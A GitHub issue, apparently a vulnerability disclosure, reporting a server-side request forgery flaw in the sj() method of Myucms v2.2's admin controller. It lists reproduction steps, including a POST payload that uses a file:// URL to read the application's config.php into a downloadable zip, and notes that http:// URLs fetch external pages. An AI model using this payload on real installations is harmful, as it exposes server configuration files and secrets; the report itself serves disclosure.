Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SSRF of Myucms v2.2 /application/admin/controller/index.php sj() method #5

Open
lolipop1234 opened this issue Dec 27, 2019 · 0 comments

Comments

@lolipop1234
Copy link
Owner

lolipop1234 commented Dec 27, 2019

1.Visit the following URL after login
http://127.0.0.1/admin.php/index/sj

2.POST following data to http://127.0.0.1/admin.php/index/sj
title=file://C:\phpStudy\PHPTutorial\WWW\application\config.php
image

3.Visit the following URL download shengji.zip
http://127.0.0.1/runtime/myucms/ shengji.zip

4.Open this zip file with notepade++
config.php file content has been read
image

ps:If the data sent is changed to the Internet address, you can get the content of the Internet page
title=http://www.baidu.com
image

Problem code location
WWW\application\admin\controller\index.php
image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant